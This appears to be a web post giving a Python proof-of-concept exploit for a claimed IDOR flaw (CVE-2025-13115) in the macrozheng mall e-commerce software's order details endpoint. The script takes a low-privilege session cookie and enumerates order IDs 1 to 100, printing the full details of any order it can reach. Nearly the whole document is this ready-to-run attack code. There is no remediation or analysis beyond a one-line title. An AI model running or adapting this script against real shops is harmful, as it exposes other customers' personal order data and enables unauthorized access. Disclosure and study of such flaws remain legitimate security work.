CVE-2025-13115 macrozheng mall订单详情页面越权访问漏洞

import requests # CVE-2025-13115 PoC - macrozheng mall IDOR Vulnerability # Target: macrozheng mall-swarm / mall <= 1.0.3 # Vulnerability: Unauthorized access to order details via orderId parameter TARGET_URL = "http://target-server/api/order/detail/" def exploit_order_details(target_url, order_ids, cookies=None): """ Exploit IDOR vulnerability to access unauthorized order details. Args: target_url: Base URL of the vulnerable application order_ids: List of order IDs to enumerate cookies: Authentication cookies (low-privilege user session) """ results = [] for order_id in order_ids: url = f"{target_url}{order_id}" try: response = requests.get(url, cookies=cookies, timeout=10) if response.status_code == 200: data = response.json() if data.get('code') == 200 or data.get('success'): print(f"[!] Found accessible order: {order_id}") print(f" Order details: {data}") results.append({ 'order_id': order_id, 'details': data }) except Exception as e: print(f"[-] Error accessing order {order_id}: {e}") return results if __name__ == "__main__": # Example: Enumerate order IDs 1-100 order_ids = range(1, 101) cookies = {'JSESSIONID': 'your-low-privilege-session-id'} results = exploit_order_details(TARGET_URL, order_ids, cookies) print(f"\n[+] Total exposed orders: {len(results)}")